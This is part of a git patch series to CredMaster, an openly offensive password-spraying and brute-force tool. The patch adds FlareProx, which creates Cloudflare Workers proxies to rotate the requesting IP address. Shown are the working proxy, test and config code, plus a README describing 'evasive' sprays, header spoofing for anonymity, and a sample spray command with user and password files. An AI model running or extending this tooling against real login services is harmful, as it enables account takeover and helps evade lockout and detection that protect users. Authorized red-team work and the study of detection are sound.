test_url, timeout=30) + + result = { + "success": response.status_code == 200, + "status_code": response.status_code, + "response_length": len(response.content), + "headers": dict(response.headers) + } + + if response.status_code == 200: + success = True + print(f"Request successful! Status: {result['status_code']}") + + # Try to extract and show IP address from response + try: + response_text = response.text.strip() + if target_url in ["https://ifconfig.me/ip", "https://httpbin.org/ip"]: + if target_url == "https://httpbin.org/ip": + # httpbin returns JSON + data = response.json() + if 'origin' in data: + ip_address = data['origin'] + print(f" Origin IP: {ip_address}") + unique_ips.add(ip_address) + else: + # ifconfig.me returns plain text IP + if response_text and len(response_text) < 100: + print(f" Origin IP: {response_text}") + unique_ips.add(response_text) + else: + print(f" Response: {response_text[:100]}...") + else: + print(f" Response Length: {result['response_length']} bytes") + except Exception as e: + print(f" Response Length: {result['response_length']} bytes") + + successful += 1 + break # Success, no need to retry + + elif response.status_code == 503: + print(f" Server unavailable (503) - target service may be overloaded") + if attempt < max_retries - 1: + continue # Retry + else: + print(f"Request failed! Status: {response.status_code}") + break # Don't retry for other status codes + + except requests.RequestException as e: + if attempt < max_retries - 1: + print(f" Connection error, retrying...") + continue + else: + print(f"Request failed: {e}") + result = {"success": False, "error": str(e)} + break + except Exception as e: + print(f"Test failed: {e}") + result = {"success": False, "error": str(e)} + break + + results[name] = result if result else {"success": False, "error": "Unknown error"} + + print(f"\nTest Results:") + print(f" Working endpoints: {successful}/{len(endpoints)}") + if successful < len(endpoints): + failed_count = len(endpoints) - successful + print(f" Failed endpoints: {failed_count} (may be due to target service issues)") + if unique_ips: + print(f" Unique IP addresses: {len(unique_ips)}") + for ip in sorted(unique_ips): + print(f" - {ip}") + + return results + + def cleanup_all(self) -> None: + """Delete all proxy endpoints.""" + if not self.cloudflare: + raise FlareProxError("FlareProx not configured") + + print(f"\nCleaning up FlareProx endpoints...") + + try: + self.cloudflare.cleanup_all() + except FlareProxError as e: + print(f"Failed to cleanup: {e}") + + # Clear local cache + if os.path.exists(self.endpoints_file): + try: + os.remove(self.endpoints_file) + except OSError: + pass + + +def setup_interactive_config() -> bool: + """Interactive setup for Cloudflare credentials.""" + print("Getting Cloudflare Credentials:") + print("1. Sign up at https://cloudflare.com") + print("2. Go to https://dash.cloudflare.com/profile/api-tokens") + print("3. Click Create Token and use the 'Edit Cloudflare Workers' template") + print("4. Set the 'account resources' and 'zone resources' to all. Click 'Continue to Summary'") + print("5. Click 'Create Token' and copy the token and your Account ID from the dashboard") + print() + + # Get API token + api_token = getpass.getpass("Enter your Cloudflare API token: ").strip() + if not api_token: + print("API token is required") + return False + + # Get account ID + account_id = input("Enter your Cloudflare Account ID: ").strip() + if not account_id: + print("Account ID is required") + return False + + # Create config + config = { + "cloudflare": { + "api_token": api_token, + "account_id": account_id + } + } + + # Save config file (overwrite if exists) + config_path = "flareprox.json" + try: + with open(config_path, 'w') as f: + json.dump(config, f, indent=2) + print(f"\nConfiguration saved to {config_path}") + print("FlareProx is now configured and ready to use!") + return True + except IOError as e: + print(f"Error saving configuration: {e}") + return False + + +def create_argument_parser() -> argparse.ArgumentParser: + """Create and configure argument parser.""" + parser = argparse.ArgumentParser(description="FlareProx - Simple URL Redirection via Cloudflare Workers") + + parser.add_argument("command", nargs='?', + choices=["create", "list", "test", "cleanup", "help", "config"], + help="Command to execute") + + parser.add_argument("--url", help="Target URL") + parser.add_argument("--method", default="GET", help="HTTP method (default: GET)") + parser.add_argument("--count", type=int, default=1, help="Number of proxies to create (default: 1)") + parser.add_argument("--config", help="Configuration file path") + + return parser + + +def show_help_message() -> None: + """Display the main help message.""" + print("FlareProx - Simple URL Redirection via Cloudflare Workers") + print("\nUsage: python3 flareprox.py [options]") + print("\nCommands:") + print(" config Show configuration help and setup") + print(" create Create new proxy endpoints") + print(" list List all proxy endpoints") + print(" test Test proxy endpoints and show IP addresses") + print(" cleanup Delete all proxy endpoints") + print(" help Show detailed help") + print("\nExamples:") + print(" python3 flareprox.py config") + print(" python3 flareprox.py create --count 2") + print(" python3 flareprox.py test") + print(" python3 flareprox.py test --url https://httpbin.org/ip") + + +def show_config_help() -> None: + """Display configuration help and interactive setup.""" + print("FlareProx Configuration") + print("=" * 40) + + # Check if already configured with valid credentials + config_files = ["flareprox.json", os.path.expanduser("~/.flareprox.json")] + valid_config_found = False + existing_config_files = [] + + for config_file in config_files: + if os.path.exists(config_file): + existing_config_files.append(config_file) + try: + with open(config_file, 'r') as f: + config_data = json.load(f) + cf_config = config_data.get("cloudflare", {}) + api_token = cf_config.get("api_token", "").strip() + account_id = cf_config.get("account_id", "").strip() + + # Check if we have actual credentials (not empty or placeholder) + if (api_token and account_id and + api_token not in ["", "your_cloudflare_api_token_here"] and + account_id not in ["", "your_cloudflare_account_id_here"] and + len(api_token) > 10 and len(account_id) > 10): + valid_config_found = True + break + except (json.JSONDecodeError, IOError): + continue + + if valid_config_found: + print(f"\nFlareProx is already configured with valid credentials.") + print("Configuration files found:") + for config_file in existing_config_files: + print(f" - {config_file}") + print() + + choice = input("Do you want to reconfigure? (y/n): ").lower().strip() + if choice != 'y': + return + + elif existing_config_files: + print(f"\nConfiguration files exist but appear to contain placeholder values:") + for config_file in existing_config_files: + print(f" - {config_file}") + print() + + print("Setting up FlareProx configuration...") + print() + + if setup_interactive_config(): + print("\nYou can now use FlareProx:") + print(" python3 flareprox.py create --count 2") + print(" python3 flareprox.py test") + else: + print("\nConfiguration failed. Please try again.") + + +def show_detailed_help() -> None: + """Display detailed help information.""" + print("FlareProx - Detailed Help") + print("=" * 30) + print("\nFlareProx provides simple URL redirection through Cloudflare Workers.") + print("All traffic sent to your FlareProx endpoints will be redirected to") + print("the target URL you specify, supporting all HTTP methods.") + print("\nFeatures:") + print("- Support for all HTTP methods (GET, POST, PUT, DELETE, etc.)") + print("- Automatic CORS headers") + print("- IP masking through Cloudflare's global network") + print("- Simple URL-based redirection") + print("- Free tier: 100,000 requests/day") + + +def main(): + """Main entry point.""" + parser = create_argument_parser() + args = parser.parse_args() + + # Show help if no command provided + if not args.command: + show_help_message() + return + + if args.command == "config": + show_config_help() + return + + if args.command == "help": + show_detailed_help() + return + + # Initialize FlareProx + try: + flareprox = FlareProx(config_file=args.config) + except Exception as e: + print(f"Configuration error: {e}") + return + + if not flareprox.is_configured: + print("FlareProx not configured. Use 'python3 flareprox.py config' for setup.") + return + + try: + if args.command == "create": + flareprox.create_proxies(args.count) + + elif args.command == "list": + flareprox.list_proxies() + + elif args.command == "test": + if args.url: + flareprox.test_proxies(args.url, args.method) + else: + flareprox.test_proxies() # Use default httpbin.org/ip + + elif args.command == "cleanup": + confirm = input("Delete ALL FlareProx endpoints? (y/N): ") + if confirm.lower() == 'y': + flareprox.cleanup_all() + else: + print("Cleanup cancelled.") + + except FlareProxError as e: + print(f"Error: {e}") + except KeyboardInterrupt: + print("\nOperation cancelled by user") + except Exception as e: + print(f"Unexpected error: {e}") + + +if __name__ == "__main__": + main() diff --git a/utils/utils.py b/utils/utils.py index 364d79b..9d1daf5 100644 --- a/utils/utils.py +++ b/utils/utils.py @@ -33,7 +33,11 @@ def add_custom_headers(pluginargs, headers): headers[header] = pluginargs["custom-headers"][header] if "xforwardedfor" in pluginargs.keys(): - headers["X-My-X-Forwarded-For"] = pluginargs["xforwardedfor"] + headers["X-My-X-Forwarded-For"] = pluginargs["xforwardedfor"] + + # Cloudflare FlareProx target URL header + if "target_base_url" in pluginargs.keys(): + headers["X-Target-Base-URL"] = pluginargs["target_base_url"] return headers From c242afa411058c1a70ab815573de04c97f2bd385 Mon Sep 17 00:00:00 2001 From: Ayo Ajiboye Date: Wed, 29 Oct 2025 17:16:26 -0500 Subject: [PATCH 2/2] Update README --- README.md | 19 +++++++++++++++---- 1 file changed, 15 insertions(+), 4 deletions(-) diff --git a/README.md b/README.md index 7784b4e..0ff5240 100644 --- a/README.md +++ b/README.md @@ -1,8 +1,8 @@ # CredMaster # -Launch a password spray / brute force attach via Amazon AWS passthrough proxies, shifting the requesting IP address for every authentication attempt. This dynamically creates FireProx APIs for more evasive password sprays. +Launch a password spray / brute force attach via Amazon AWS passthrough proxies, shifting the requesting IP address for every authentication attempt. This dynamically creates FireProx APIs for more evasive password sprays. Alternatively, you can use FlareProx to create Cloudflare workers endpoints. -Shoutout to [@ustayready](https://twitter.com/ustayready) for his [CredKing](https://github.com/ustayready/CredKing) and [FireProx](https://github.com/ustayready/fireprox) tools, which form the base of this suite. +Shoutout to [@ustayready](https://twitter.com/ustayready) for his [CredKing](https://github.com/ustayready/CredKing) and [FireProx](https://github.com/ustayready/fireprox) tools, which form the base of this suite. Also shoutout to [@turvsec](https://twitter.com/turvsec) for his [FlareProx](https://github.com/MrTurvey/flareprox) tool, which is used to create Cloudflare workers endpoints. See all the full notes on the [Wiki](https://github.com/knavesec/CredMaster/wiki), tool released with specifics in this [blogpost](https://whynotsecurity.com/blog/credmaster/) @@ -20,7 +20,7 @@ For detection tips, see the blogpost and detection section. ## Benefits & Features ## * Rotates the requesting IP address for every request -* Automatically generates APIs for proxy passthru +* Automatically generates APIs for proxy passthru with AWS or Cloudflare workers * Spoofs API tracking numbers, forwarded-for IPs, and other proxy tracking headers = fully [anonymous](https://github.com/knavesec/CredMaster/wiki/Anonymity) * Easily configuation via config file * Multi-threaded processing @@ -73,6 +73,9 @@ Example Use: ``` python3 credmaster.py --plugin {pluginname} --access_key {key} --secret_access_key {key} -u userfile -p passwordfile -a useragentfile {otherargs} ``` +``` +python3 credmaster.py --plugin {pluginname} --cf_api_token {api_token} --cf_account_id {account_id} -u userfile -p passwordfile -a useragentfile {otherargs} +``` or @@ -80,7 +83,15 @@ or python3 credmaster.py --config config.json ``` -This tool requires AWS API access keys, a walkthrough on how to acquire these keys can be found here: https://bond-o.medium.com/aws-pass-through-proxy-84f1f7fa4b4b +This tool requires either Cloudflare API tokens or AWS API access keys, a walkthrough on how to acquire AWS keys can be found here: https://bond-o.medium.com/aws-pass-through-proxy-84f1f7fa4b4b + + +### Getting Cloudflare Credentials +1. Sign up at [Cloudflare](https://cloudflare.com) +2. Go to [API Tokens](https://dash.cloudflare.com/profile/api-tokens) +3. Click 'Create Token' and use the 'Edit Cloudflare Workers' template +4. Set the 'account resources' and 'zone resources' to all. Click 'Continue to Summary' +5. Click 'Create Token' and copy the token and your Account ID from the dashboard All other usage details can be found [on the wiki](https://github.com/knavesec/CredMaster/wiki/Usage)